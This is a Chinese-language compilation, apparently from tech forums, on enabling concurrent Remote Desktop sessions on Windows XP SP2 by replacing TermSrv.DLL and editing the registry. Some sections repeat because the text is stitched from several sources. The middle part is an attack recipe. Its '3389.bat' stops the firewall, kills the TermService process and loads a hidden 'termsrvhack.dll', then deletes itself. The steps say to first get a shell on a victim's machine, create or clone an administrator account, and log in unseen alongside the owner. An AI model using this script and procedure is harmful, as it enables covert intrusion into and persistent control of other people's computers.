点击“连接”,COMPANYX上出现COMPANY-XP2远程桌面窗口,并提示说COMPANY-XP2电脑上已有另一个用户usery登录。如果继续登录COMPANY-XP2,其当前登录用户usery将被强行注销(见图2)。
在图2中点击“是”,COMPANYX远程桌面程序强行注销COMPANY-XP2上当前登录的usery用户,使COMPANY-XP2电脑回到登录欢迎界面,同时COMPANYX的远程桌面窗口显示出COMPANY-XP2桌面。这时在COMPANY-XP2上,无论用哪一种用户身份(如 abc或usery)登录,COMPANY-XP2都会强行注销远程登录的用户abc,使远程连接中断??也就是说,无论何时,远程桌面只允许一个用户登录!
解决办法
年初网络上盛传XP的SP2将支持多个用户同时建立远程桌面连接,当时着实高兴了一阵子。等正式版SP2一出来,赶忙试试SP2的远程桌面多用户支持,却发现无论如何不能让两个用户同时登录??无论是同时登录两个远程桌面连接,还是一个远程桌面、一个本地桌面,无论是两者使用相同用户名,还是使用不同用户名,一概行不通!
到底怎么回事呢?查阅微软有关SP2的说明文档,没见到任何有关远程桌面多用户支持的说明。搜索网络,有关多用户支持的介绍都是年初的资料,近来这类文章似乎销声匿迹了。那么,是不是微软原来打算让SP2支持多个用户同时连接远程桌面,后来又取消了呢?为了搞清楚这个问题,我在安装SP2的电脑上将SP2正式版的终端服务器替换成SP2测试版的终端服务器,果然成功地同时建立了两个连接,下面就介绍一下具体的实施步骤。
第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。
第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从= 85a71ca2987c89886c99733154ae685f&act
=Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。
第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\ Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。
第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。
第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:
@echo off
setlocal
set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWord /D 1 /f
endlocal
将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了(见图3)。
小提示
只有当Windows XP启用了欢迎屏幕、快速用户切换功能之后,远程桌面才能支持并发的用户访问。你可以从如下位置启用它们:“控制面板→用户账户→更改用户登录或注销的方式”。
综上所述,改造后的XP远程服务器允许两个不同的用户同时登录??虽然不能与Windows Server 2003强大的终端服务功能相比,但毕竟聊胜于无,勉强可算多用户支持。我曾经试着把Windows Server 2003的终端服务器复制到XP,但没有成功。看来微软不遗余力地坚持这样的一个原则:作为个人桌面操作系统的XP,不允许多个用户同时使用。
第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。
第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。
第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有 TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常, TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。
第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。
第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:
@echo off
setlocal
set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
endlocal
将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。
我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数:
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略默认到当前机器。远程机器上
只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名。
/v 所选项之下要添加的值名。
/ve 为注册表项添加空白值名(默认)。
/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_BINARY | REG_NONE ]
如果忽略,则采用 REG_SZ。
/s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
如果忽略,则将 "\0" 用作分隔符。
/d 要分配给添加的注册表 ValueName 的数据。
/f 不用提示就强行覆盖现有注册表项。
例如:
REG ADD
添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
注意: 在扩充字符串中使用插入符号 ( ^ )
为了让系统不重起,我们可以用shutdown -a 这个命令。
根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。
代码如下:
@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat
#################################
经测试, 上面的批处理是可以使用的, 按情况做稍微修改即可.
如碰到------用“远程桌面”连接到WindowsXP时显示“远程计算机已结束连接”, 看下面的解决方法.
连接的用户, 1个本地用户, 两个远程登陆用户, 不能再多了,
在域环境内, 如果用管理员权限登陆, 有提示, 进入后, 会把本地的管理员踢出去, 如果本地管理员重新登陆, 把远程的管理员踢走.
################################
其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。
具体的操作方法是
先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。
接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功!
最后打开登陆器,3389终端登陆!
说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!
轻松玩转远程桌面
缺陷1:远程桌面单独开启终端用户
缺陷描述:使用WIN2000server和WIN2003的远程终端访问时,默认的访问方式是新建一个终端用户,这个用户不会影响服务器当前的用户,你看不到当前已经登录到桌面的用户的使用情况。
实际上用远程桌面登录服务器后等于多开了一个用户登录资源,浪费资源不说对于一些随系统启动的服务已经在另一个用户登录时候开启,这样在远程用户登录后就不能再开启该服务了,影响了服务器的操作。
解决方法:
如果要登录到服务器主机当前用户的桌面,而不是新建一个终端用户的话可以用快捷方式进行登录连接,命令如下:%SystemRoot%\system32\mstsc.exe /console,连接上服务器以后当前主机的用户会黑屏,只有远程用户可以看到桌面,而且看到的这个桌面就是原本已经在服务器本机登录的桌面了。
例如远程用户计算机系统安装在c:\winnt下,我们通过任务栏的“开始->运行->输入c:\winnt\system32\mstsc.exe /console”实现上面提到的不开新终端用户登录远程服务器的功能。
小提示:
1、因为WIN XP远程终端服务是单用户的,也就是说通过远程桌面服务登录服务器时服务器本地登录界面将黑屏。所以不管你是否用这个参数都会登录到主机当前的桌面。
2、在开启XP远程桌面功能时一定要保证本地XP自带的防火墙是关闭的或者远程桌面连接使用的端口是容许通过的,另外本地帐户必须设置密码,因为用于远程连接的帐户必须有密码才可以正常访问。(如图1)
图1
缺陷2:XP系统远程桌面登录单用户
缺陷描述:正如缺陷1小提示中提到的一样,XP系统远程终端服务是单用户的,也就是说通过远程桌面服务登录服务器时服务器本地登录界面将黑屏。
不管你是用本地登录还是远程登录,同一时刻XP只容许一个用户操作计算机,后登录的将把之前登录的用户踢掉控制权。(如图2)笔者曾经尝试过多种方法XP都不能让两个用户同时登录,无论同时登录两个远程桌面连接,还是一个远程桌面一个本地桌面,无论是两者使用相同用户名,还是使用不同用户名,均不奏效。
图2 点击看大图
解决方法1:
第一步:首先是在Windows XP上安装SP2正式版。
第二步:准备一份版本较早的SP2终端服务器软件,因为原本微软准备把多用户使用远程桌面程序放在SP2中的,不过在最新的SP2中将该功能取消了。中文SP2测试版较难找到,可以使用英文版Build 2055,运行之后没有发现任何问题。可以从下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。
第三步:用安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。
第四步:用正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。
第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:
@echo off
setlocal
set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
endlocal
将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。最后突破限制的效果如图3所示。修改后的XP远程服务器允许两个不同的用户同时登录,成功的突破了微软的系统缺陷。
图3 点击看大图
小提示:
只有当Windows XP启用了欢迎屏幕,快速用户切换功能之后,远程桌面才能支持多用户并发访问。可以从如下位置启用它们:“控制面板→用户账户→更改用户登录或注销的方式”。
解决方法2:
虽然网上有很多文章说可以通过下在Build 2055的终端服务器执行文件TermSrv.DLL来解决这个问题。不过这个DLL文件已经非常难找了,我们可以到下载这个远程桌面补丁程序,(如图4)把他安装在XP SP2没有域的计算机上就可以轻松突破单用户使用XP远程桌面的限制了
图4 点击看大图
解决方法3:
我们也可以通过第三方软件来解决XP下的多用户访问远程桌面功能,借由博软软件开发的WinConnect Server,可以让我们突破限制,多用户同时进行Windows XP之旅。WinConnect Server当前最新版本是WinConnect Server XP,下载地址为,软件大小为8.40MB。
总结:
其实微软很多系统缺陷确实给用户带来了大量的不方便,不过作为面向家庭用户的XP和WIN2000 PRO在远程桌面功能方面有限制也是应该的,毕竟面向公司服务器的产品和家庭用户在应用上有很大不同。
用“远程桌面”连接到WindowsXP时显示“远程计算机已结束连接”
用“远程桌面”连接到WindowsXP时显示“远程计算机已结束连接”错误提示的解决此问题在远程系统是GHOST版的windowsxp时出现的比较普遍。
现象描述:用windowsxp自带的“远程桌面”功能连接到另外一台windowsxp电脑时,在连接的瞬间便弹出“远程计算机已结束连接”的出错窗口。
解决:
1、打开注册表,找到 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\RDPDR ,在RDPDR上点击右键,选择“权限”,改变“everyone”的权限为“完全控制”
2、将下列内容加入到注册表中(将下列内容用记事本保存为.reg文件,然后合并到注册表中)
===================================================
XP_CHS
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\RDPDR\0000]
"ClassGUID"="{4D36E97D-E325-11CE-BFC1-08002BE10318}"
"Class"="System"
"HardwareID"=hex(7):52,00,4f,00,4f,00,54,00,5c,00,52,00,44,00,50,00,44,00,52,\
00,00,00,00,00
"Driver"="{4D36E97D-E325-11CE-BFC1-08002BE10318}\\0030"
"Mfg"="(标准系统设备)"
"Service"="rdpdr"
"DeviceDesc"="终端服务器设备重定向器"
"ConfigFlags"=dword:00000000
"Capabilities"=dword:00000000
===================================================
XP_CHT
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\RDPDR]
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\RDPDR\0000]
"ClassGUID"="{4D36E97D-E325-11CE-BFC1-08002BE10318}"
"Class"="System"
"HardwareID"=hex(7):52,00,4f,00,4f,00,54,00,5c,00,52,00,44,00,50,00,44,00,52,\
00,00,00,00,00
"Driver"="{4D36E97D-E325-11CE-BFC1-08002BE10318}\\0030"
"Mfg"="(標準系統裝置)"
"Service"="rdpdr"
"DeviceDesc"="終端機伺服器裝置重新導向器"
"ConfigFlags"=dword:00000000
"Capabilities"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\RDPDR\0000\LogConf]
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\RDPDR\0000\Control]
"ActiveService"="rdpdr"
================================================================
TermSrv.DLL Build 2055版 下载
|
文件: |
termsrv2005.rar |
大小: |
335KB |
下载: |
下载 | |
修改后的3389.bat 手工删除 termservice 服务, 手工运行 取消 自动重启 命令
|
文件: |
33891.rar |
大小: |
0KB |
下载: |
下载 | |